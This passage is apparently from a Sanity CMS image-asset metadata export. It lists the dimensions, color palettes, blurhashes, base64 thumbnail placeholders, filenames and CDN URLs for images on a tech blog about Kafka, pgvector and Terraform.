3TwdX7H7Z2HHneEj7+mE9e28umrw1xGw+XGXuHQxcqjndoxoHh0T1gl5z/BaNipKckrp5ZCnQcfSagE0uCdumgsH6hJAxOjvntkSpljzlQP2NBcXsFtlVq8N4w4ItlwWfThE+mCR8Mo+GPhtFYWUSywoVzji8y/5SKn7ooZOb3tQxOjbcMl6vBkXKNGy873jsbt0C9NQAvMtnG4F+Yv8KuG0EsRViUr/m6Dt1jzLmTgf4DU4GC4zQXKrtDA2N7AtnqXl+dSPCtpxfqegrq69b9IZcDCIUgEY1CJ8YACCEh0qWx0bFzfm32Kp+bnGc3TUxQM6VR6sJg0X+/fzO7ks01fbUsbz2TaUR+WJbnu2V5XNfT6cbXmdEotLtBTGROydqiProg9tUW+amhcXpZN73v1mrURz0lftD1tveGseqtYXAvdZ16pev0a12n3+h6k+sVXfedV1UASQKVEAA1YbL5vtIqe2u1bbp3a2AxkeDOqip/JZkMPNC01idaqv2RprXdSCbF86rKL6oqdyweZ4/E4+xcPO4vxWJMNyE0wpgmGFOQMfNNxZ5tzRPpvtCsmghOKjGxFFOCZUUJVhVFHFUUsRBThP5YTOhds0awZFnojkZ5hRDORcaYxxhzv2Egq6U9xVTaN9TVTedlmVlLCCsTwhOM+QjGbDvGfpcwxpxECCdhzLnvYYT8rt07wphFGDMIY+9PTbqzGBKQN48AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#512a36","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#512a36","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#265372","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cc3dd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d4c50","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#347098","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-cosine.png","path":"images/sczeoy4w/production/fbd060aa69a2da3d8e3ca7b7aa0836d422a16195-3200x1768.png","sha1hash":"fbd060aa69a2da3d8e3ca7b7aa0836d422a16195","size":117413,"uploadId":"AQAfkHTaHLLp9ZhmNtEWyNAPgWrDmQLh","url":"https://cdn.sanity.io/images/sczeoy4w/production/fbd060aa69a2da3d8e3ca7b7aa0836d422a16195-3200x1768.png"} {"_createdAt":"2023-12-06T17:03:45Z","_id":"image-fc41b3817e02bc9221b38dd853466b9cc8032064-1200x628-png","_rev":"qGO7x5curYKYCZh8YPlycT","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:03:45Z","assetId":"fc41b3817e02bc9221b38dd853466b9cc8032064","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNl{.xW+-Ad?~Wo{Z~i~idb]Z%f9cDg1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACK0lEQVQokVXS3VOMcRiH8adEVMZGiopUWrWpaDWathljTEdOzHhJSmO9TWELuyqaRG+WdorKxIkx/J17XWb3OcDBffj7zPf7u++A4f3yqEGm2uVFh6RjkumQ2ZjMdch8TBc65W1M3sVkpUtyffJtSH5ekx9X5ftl2bkoW3EDRirk2Rl5MyALg7JYmAFZGpS1S7Ka0A8J+Tgo64Py5Yp8vyq/huX3zRDbuiAbnfLptAHD5TJxSl71ymxcZntktkvmz8n7flnq06W4LPfKalxyCdkpoEOy3S9rzbLaKKsN8r7GgBtlMl4tjxtkolEmjsvkMUnVy/NGma7VVLVMReR5RGZqZPGkfIhKtk3WmiTbLNlTslxnwK19cr8ARMM/fNku6ahkCtMi03WaisjTSpksk1SZzFXLSrPkOmWzR76cl82z8rHVgJt7JVkrTwqPo3/BdKukmyXTJDNNkqmT1AGZLpf5o5KNhthmt3zuCWc9apC/Xmpx06OVMl4l96okWSn3K+ThAZk8KOmj8rpeZg7Lq0OyWC/rsTBZrr0IFRNunDXI3ygzfzdiPlkj9yIyVi53AhkLZDyQB3skfUSWWmW5Rd6dCOtudBfPhPUz8ika4l8vGuRv7TOfrDX/uNH8w1oZr5DRkn/AUsnUSDYmuW5Zawvrfu6Vnb5iKja7ihi7iULlEgsot8tlZK+MlP6fMFkiU1Wy0ia5LllpCTdcuL2v/bIdl+0+2R2Qbwn/ANcKBwCkTau+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935605","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac47c","foreground":"#000","population":0.4,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b47c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Introducing Tiered Storage for Aiven for Apache Kafka®.png","path":"images/sczeoy4w/production/fc41b3817e02bc9221b38dd853466b9cc8032064-1200x628.png","sha1hash":"fc41b3817e02bc9221b38dd853466b9cc8032064","size":186873,"uploadId":"3FTGrhJOIOqobbR0nDpmuirxxK6k51Gz","url":"https://cdn.sanity.io/images/sczeoy4w/production/fc41b3817e02bc9221b38dd853466b9cc8032064-1200x628.png"} {"_createdAt":"2022-06-30T19:59:09Z","_id":"image-fc43b1680aab595e9b74ad7494eee6105fc69d4d-1198x396-png","_rev":"CK1sLU2mnwa3vmbYWEcOC7","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:21Z","assetId":"fc43b1680aab595e9b74ad7494eee6105fc69d4d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7S6b}kX$$%gxX~qIpjFt7js","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.025252525252525,"height":396,"width":1198},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABA0lEQVQYlVVQ207DUAzr/38gFNjDUGFTb2t7EufaTugwQMKKHFlJFNkNE1OhbzAR8w/XJkBEHP/h7qWUsm1UqDFzUVNzVoe6uYs5aZUekfuRRy3fD8vKkXtERB1GA/UZPpB1q3arDuTXYudF3lftySf4hJglLsW61Xp29n0/7g80BdotaEduR34euB34bcJpxsuI54GfempHPs14nao8zZgQ8XdsHjPsUmzk+qQnnyWK5qIxsH9uel7kY9MJMSGuxW4SGnvsx37cm8z0SPWw6iKrpcxfU2mRsOCaRXgmW2ziK+smBsvG1ExNRMBQqVumBgYTP6SqAQCLag2WILe13DYi6BcYzpHNDFfGswAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#155c83","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#125071","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a6c3cf","foreground":"#000","population":0.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6c3cf","foreground":"#000","population":0.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#89dffa","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5383a2","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5cb4e4","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fc43b1680aab595e9b74ad7494eee6105fc69d4d-1198x396.png","path":"images/sczeoy4w/production/fc43b1680aab595e9b74ad7494eee6105fc69d4d-1198x396.png","sha1hash":"fc43b1680aab595e9b74ad7494eee6105fc69d4d","size":45118,"uploadId":"LJvZWT02zyOkigtBjrOpw6I99HRZe7qg","url":"https://cdn.sanity.io/images/sczeoy4w/production/fc43b1680aab595e9b74ad7494eee6105fc69d4d-1198x396.png"} {"_createdAt":"2023-04-04T07:37:05Z","_id":"image-fc82752e4aa198cf51cb44952657d5ef7e954d85-1874x1212-png","_rev":"cq195eg2Ri4zGXJGgVSFxf","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T07:37:16Z","altText":null,"assetId":"fc82752e4aa198cf51cb44952657d5ef7e954d85","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.546204620462046,"height":1212,"width":1874},"exif":{"PixelXDimension":1874,"PixelYDimension":1212,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAAC2klEQVQ4jYWR7WtTVxjA73+xadOka61W/Tb3QRjswwaD0prYqnUrYtVNBrLpHGO+NE2rYNE2yb25iaZDYb6xSbvmZTCdK9RPww9+EvahtGnezBsK1rZJm+Te5CfnXoMiggd+POd5znN+PJwjffBhC03Wdmyt27C1bsdi28wGSxtNzZuwtmzB1tqB9aMOLNZ2Nja30WTdhMXWbpxvtLQZNdHf3LKZrds/Rtrxyad82WnH0duHvWcf3Y49dNl76Hb0smv3Huw9ew3Eftermkmv0dMt2N1LZ5eDz7/oRLI79nHix58ZdLo4fcbJ2UEnziEXQ65hXMOCkfcy5Brh5E+/0P/1EaS+vgM4h0YYG/dw8dI4Y2Nu3G4vHo8Xr9eLLCsoioKsmLGByMWZ2y0zOurh9KnzHD54Aqm/fwBZUZn6M8T0dNgkFCEUihCJRIlG/yISjRr7Ri4IR6KEwhEmJ8PcuD6N7L3OyR8uIA0MfMPUdJj5WJxkKkMqneFJJksul6dQKJDPF8hm82QyOSPm8mYtk80Zfel0lkQiy8P/HqOM/4506NC33P1nhmdLy6wW1ymtlalUNGq1GvV6nVqtTlXTqVR1qlUdTauh6zU0TeSaiaaRWMxyLRh9LXz6fJmV4hql0jrlStW49KZQyETU9HcIqxqLsTTBQGPC+zM8XTKFxeIa5fK7hUIi6mL6t6WxWBxV/RXp8JHv+Pv+DIXnL1heLRnCyqsJGxeFTDyDiCLX3xBWKprBQmwR1R9EOnr0OPf+neXZixWKpTJr6xXjnRqrXge9VkfT6+i6ObGoiSjEmm6+ayyWxB+4irR//0Fu3r7D4//nmJuPM78QJx5PGb+dfmL+ejKZISFIiH2WdCpHSpAU5EnE8zyYfcS5ERlp587POHbsOJfGvHi8qoEs+/H5LuNTr+DzXUFVJ1B9V1GVa/iV37jsv0Uw8AcTgTtMBCYJ+qcYHgzQ/9X3vAQIGBP90mqYsAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2b42","foreground":"#fff","population":2.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d2060","foreground":"#fff","population":1.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2b42","foreground":"#fff","population":2.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbccf","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0d5d5","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#665790","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3484","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"qovery-ui-2.png","path":"images/sczeoy4w/production/fc82752e4aa198cf51cb44952657d5ef7e954d85-1874x1212.png","sha1hash":"fc82752e4aa198cf51cb44952657d5ef7e954d85","size":824238,"title":null,"uploadId":"1b1YSXemKAF47zmtyih4EMROlPf5Gr4T","url":"https://cdn.sanity.io/images/sczeoy4w/production/fc82752e4aa198cf51cb44952657d5ef7e954d85-1874x1212.png"} {"_createdAt":"2023-01-10T10:12:51Z","_id":"image-fc8619b70960536b4fdbef776eca43facf43e1f8-1567x844-png","_rev":"Z39vf97kTT8utJKfKV2jMX","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:12:51Z","assetId":"fc8619b70960536b4fdbef776eca43facf43e1f8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA6l1QxvM{t8RP_Nt7M{ozRjxuofaxofay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAABy0lEQVQokYWR208aURDGF1coaqH1Co3vTdiDRUTkoitpDablwaS21WptjZG9KCAo6lMfGlGLBKXyD3/NzNlVDEn78GVmvjnnd2ZnlaF4CcGFIzyfr2AkUUYgWcGLVBWj6RoCSem7oh5F6o9njzGWOeba++YAimZCiRhQXuXOMPepgfRWEwub1yzKs9s3iK83MLveQOrrb9b8lyvEPl4guXEF/XsLme0mXhd+MpSBpOm351j8doMPVhf5Ygfv9m6xWvyD/H6H/dxuGwW7i/fmPfcIRJHqlb07fuBlqvoInFqqI/H5ErkfbZ4iuXGNpZ0WwygnT99pIbPV5AnJox551Iuu/cJYpgaPcD7ZHy9hcvEE9OkUJ7InCOmnCC+fgh4jjyR3VuMY0usI63WE6Hy6hqHZQ3jcHdKYVNALbDpir6fuFfmDmgmfZsDn5A9nlYhD/p/6gAZUlgmvZmFAsxygZvxzmqeyoAibLxNwQDOd3AXaUPyiiGDMQiBRgi/WswsX8mQ6m4GqkBPSWZWBNJADDEb3EU7YmExXMTxXfvxbfUB5wSMsDAoTqiCgzAku+xYUryjCP2PiWewAatTun6oXKCTQKwwJZLjcpQv8C0eQeWUw/ZLhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573044","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":64.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":64.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bcd9","foreground":"#000","population":0.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1464d","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Repeatable_Apache_Kafka_topic_setup_with_Terraform_blog.png","path":"images/sczeoy4w/production/fc8619b70960536b4fdbef776eca43facf43e1f8-1567x844.png","sha1hash":"fc8619b70960536b4fdbef776eca43facf43e1f8","size":63200,"uploadId":"sFG5bhGLSRZpjsTXRca1fipehqg542aL","url":"https://cdn.sanity.io/images/sczeoy4w/production/fc8619b70960536b4fdbef776eca43facf43e1f8-1567x844.png"} {"_createdAt":"2022-06-15T20:02:13Z","_id":"image-fc8ee6432852d15e0511f0048f45e5d99d95b328-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO84QT","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:05Z","assetId":"fc8ee6432852d15e0511f0048f45e5d99d95b328","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSO|O+~n#nI]W-pKIpozocr?$yMxbrRV%0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADDElEQVQokTXIXU/bZhiAYf/Pne50J9EmTVpY6RgCirYOVnVrJhjQEZHgDgRd2QKFAaUkSux8OE5ix3bs+CO239d2YjuUdsrzTKu0g1uXdDOG6WcUzf5VVszf5b6535MNVuoPWVkx2b5isUOLsj5NWRJMWZ9OWdtN9xUzyUtGsqXb6aZL0m1C0iIZJc+JGc8zUn+40RRkud7ohhwvkkq1Ratcm1Y5gdZ4kcqKSS07oIYV0oYU0cPrkD49ov7aQeBu/RW6V42xa5iTgNqTQaBHh8zQJPuaPgpUzcG+aqHUH6KsmCj3zY/+9zi+ja9KN5grVnFhs4PfPrdwKe/hgy0PV/Menl4TNDtkEij+a8anacGnqe/TFH2azjySwP/5JAHdcOH07BIe//gLfL2cg6c7p3BeHkC55cHBqQ0rP+uz9Wc63hwboVkxSgwJpgUSTAkJUiRBCh+lCVISY0Am6DgE33AdfFb8E9Y29/CkdAGqqoFjWSC1dTgqyvBksY3sI2HM74h/M4QmBUITQmiMlE6A0jEGfoTBKMDIpThyAyyrIe7VXMxf9fHstoNip4+apqHcVvCabcHuXBkLX1Ti8wXuhqF0XAhoREISYkiCWUQIRJ4HY8uFsTkC3SJwpsawL6RwwEdQqlrAtWRQlD6IdQmONzn46fNb3PqyOjlaaVwxke8XIs/zI8/FsTeaTTwbYteCxBxCrA1B0V14qU7gNzGBYj2EPzgHbjkJ+JoIJycdWF4SZpnPBFzOdsYb3/cumdhQiuFADoguY2SpmI4GOHUHeGereGcoaA8NvNAJ7vbGuF0huHes4fFOC3dzPC4+FjEzL+H8NxLm1rrx4Y54yaRS/Ukg1ninyxt0ICpTR5bfjWTp3pGk905XSuyepA016W3Pko5LAzW/1DS2MxVj/WF9sLze0XMb3UHpRdtonTdbFlffZe4Gwiex2nwQaa1H8VBceOf05t473a8+OGL2g93O/mML2XtTyEaykBVf8IuvMm9/eDlX/u6Mbay8eS2sNi6aqw5fX73XuIdo1T79FzFL4TYYHFsWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433c39","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f2c5d","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3465e1","foreground":"#fff","population":5.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac9d9","foreground":"#000","population":4.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ee6f6","foreground":"#000","population":1.34,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#535ba0","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3465e1","foreground":"#fff","population":5.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fc8ee6432852d15e0511f0048f45e5d99d95b328-1567x844.png","path":"images/sczeoy4w/production/fc8ee6432852d15e0511f0048f45e5d99d95b328-1567x844.png","sha1hash":"fc8ee6432852d15e0511f0048f45e5d99d95b328","size":531234,"uploadId":"gblDPpsmUUzS5C4aSaikj0f5Ms6vgQYC","url":"https://cdn.sanity.io/images/sczeoy4w/production/fc8ee6432852d15e0511f0048f45e5d99d95b328-1567x844.png"} {"_createdAt":"2022-06-15T20:01:56Z","_id":"image-fc92a2b15c253724ec0b2e21fb595d8d510e6d3f-1200x646-jpg","_rev":"QRl2cGoCgj0FlAhkRrhvP9","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:15Z","assetId":"fc92a2b15c253724ec0b2e21fb595d8d510e6d3f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFD89x%QEHZ$x0BIA~W[xJSHIK+,-VS]Na","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8575851393188854,"height":646,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwf/xAAjEAACAQQBAwUAAAAAAAAAAAACAwEABAUREgYTIRUiQlFx/8QAFgEBAQEAAAAAAAAAAAAAAAAABQIG/8QAHhEAAgICAgMAAAAAAAAAAAAAAQIAAwQRBSESImH/2gAMAwEAAhEDEQA/AOF47GYy7Rbxdd8WRHvGAiNU0LA4K3Am27GG4Agu2yPl+fVVazleBTfBARdkyIlnGNzFS3ULTdkFOZO2nBci1rdaO3iFxqmt8t6+RtsNcQEn26mHolhegDxCF8h8jEeN0Upv7lymiK2EI8I8RRRC2DXYkJkIFAKAz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#75496c","foreground":"#fff","population":1.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#430577","foreground":"#fff","population":4.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#430577","foreground":"#fff","population":4.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da6be8","foreground":"#000","population":1.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#955caf","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#920aeb","foreground":"#fff","population":1.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"fc92a2b15c253724ec0b2e21fb595d8d510e6d3f-1200x646.jpg","path":"images/sczeoy4w/production/fc92a2b15c253724ec0b2e21fb595d8d510e6d3f-1200x646.jpg","sha1hash":"fc92a2b15c253724ec0b2e21fb595d8d510e6d3f","size":711630,"uploadId":"u2KcdxW5TXRa9SNTBlAqwQdx2e3tMLZR","url":"https://cdn.sanity.io/images/sczeoy4w/production/fc92a2b15c253724ec0b2e21fb595d8d510e6d3f-1200x646.jpg"} {"_createdAt":"2022-06-15T20:01:37Z","_id":"image-fcb54733956eec83a7614b04cb97c8cff1aa7a4c-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7abh","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:36Z","assetId":"fcb54733956eec83a7614b04cb97c8cff1aa7a4c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQJjo7AIE2f4wc*0-TEMNbs.%2IVxY%1R.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACn0lEQVQokQXB3U8SAQAA8PufeuqtTTQUELjj+4DjFCZyiEgoiozPA0Tg7vgUFJQ4EQTGASkg5lcuVzaztsqWlVububXWeqiXnvr9gEI6Q+fyFbrE1Gr1rXJ543G5QFfpUqtS7TPN/Va702h0GGa/s3Pc7z7b7570d4667b0W06pWgbAPD/sD0dByjCCocCRFUIXV1TpdPGBqlwed1093epXC5kqcXkszFbr/pNZrV7bLxUw2R1BJIODxBL3egNu95HFHcN9anGrR62fN0ueT5s+L3t0Z86KepSmcxJ2xEE6vUpVCKh4jHa6AZdYJhHBfiiAy0XCejJSSVGcz/7bXuD3b/XO5++9V6dcecV50bMcd6UiQDAVylD8XC+Iul9lk1etMwOyU0W+3Ex5Xyu/NBdyVqP+0vHZz3Px9zvw9Tt7WrAekegPHYkEfEfBnl5xxt82GYRNKDSpWALBQMCYWGZSwGUXsem3IYsp57d0s+XIzcbHuPSKNWw5F3Kr2WgzOaQNpmUjMaF2o1CoZNYMjgEosRqRSrVJpQFErhjkfWQLzc6RzMWqbWZrSLhuQsF6Ga/hz8pEFGTetBRs2uLUIt+ZljB0GBDwByAchISQTy2E5rJTBqArVacY1MsW4RGRWiFwKnl/GCilYCYRd1rEP7eA7Cvma1n5K6QERlwdxeUIOd5Q9wh4YHHwwMDwwBHE4KCQ0ykUONZTUCaozgo4dOnCJTr3QxbL0mpB+dPGeTw0BPgT0qIU2+ahRyJ7kD42NDmk4LAx86FTxo3pJ0ao69GvfUONXKeRLHv1Wwe7q07c59HKW1YbuAVWDkDEIMurhqGIwj/EpDHQiXBzhJSbB7QX4NKJ/vzJ9ldZ/iKmuM6qbDc33Lf2PqukqIjnU3f8P4ExZb1NMqDIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f4739","foreground":"#fff","population":1.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#682f24","foreground":"#fff","population":4.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eba66f","foreground":"#000","population":6.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5b8b3","foreground":"#000","population":4.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eba66f","foreground":"#000","population":6.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#966956","foreground":"#fff","population":5.59,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e38c40","foreground":"#000","population":0.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fcb54733956eec83a7614b04cb97c8cff1aa7a4c-752x405.png","path":"images/sczeoy4w/production/fcb54733956eec83a7614b04cb97c8cff1aa7a4c-752x405.png","sha1hash":"fcb54733956eec83a7614b04cb97c8cff1aa7a4c","size":156114,"uploadId":"1C9drP2COY5UmY95NmjisCtxR1eI3bhw","url":"https://cdn.sanity.io/images/sczeoy4w/production/fcb54733956eec83a7614b04cb97c8cff1aa7a4c-752x405.png"} {"_createdAt":"2024-04-30T13:20:00Z","_id":"image-fccb43a883774738492a3c72a0b5e85aa2bfae96-700x657-png","_rev":"lI1OMJNS7f9WP80VhdiTls","_type":"sanity.imageAsset","_updatedAt":"2024-04-30T13:20:00Z","assetId":"fccb43a883774738492a3c72a0b5e85aa2bfae96","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9Db]0x@0J?G~Bpk%LELbX^QxKxt^QWCJ5ATt6$%WnXPELoJ$*R*Rn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.06544901065449,"height":657,"width":700},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAE0klEQVQ4jSWSWU9bBxqGzx+Zqappk7AEn8XHGIxZEu8GL9gHL4eDbTDYBi944WAbgs2SBAhJYKIsnaaTNNOmqtqqUqVWo1EvqqpVpVa97lV/y1PB3L963u979ArPPqnSfRhnsX4Ll+4gvOqn0EmQroVwZbx4l+eJljTipTliRQ+3UlO8Pz3KO+MK704oDMwo3Jyx8Y+xUf5mtyEcvyhRvxdBvwSmnQQybozN8BXQqCdp9ers7bfZ2a1RaeYILvqRAjZEv8SIV8LilZE9VoZmVAbdVgTzVKfQC2I0vcRWfUSWfSysB8g2NNp7FZ4c9/n45IC3Dw55ef8OzVqWQHqSmaSMIyahzkqofonRORlnQkHItP1k20FyWxGWm3HS5Tmiq25yVY2D7iYve22+O+3x678e8turf/L2wQ7rG/O406OMx2SUWfnqSltYYmZRRljemSezNU8oH8BjuHEbUwSWnZRaSR73t3jbb/Pjo0P+ePOUP7/8Nz+/OqffzjMdm2DELzPsVRh0KSghhcm0irDWTZGqhJlccGKLqozFrbiWxqiYaZ4cdnjT6/DtvT1+eXrG76+e8cOH5+x3ijhCTq7PyAy6rAx7rChzNsY1G8J0wsWkNsV43MZUSmE6peJbHKdWS3Jxx+R52+Qjs8nXhz3+d37KN+f32W3lmQg7GHZLyAGVEa+NAbeVQZ+C8I5D5ZpLQY7IjC3IjMZk3PFx2us6rw92ebPb4cPm5hXwp2fnfP/0IftbBSajDsSAhBJUGbit8u6UzHsuEeFqS24Za1RGjUuIIQtTYTut1RSv75i83m7wvLLBV/1dfnl+zo8fPOawXcQZdSAFJdQ59erl6y6Zm0EJYdgjYwnIWCMyakxCjliwh1QWF2fprWc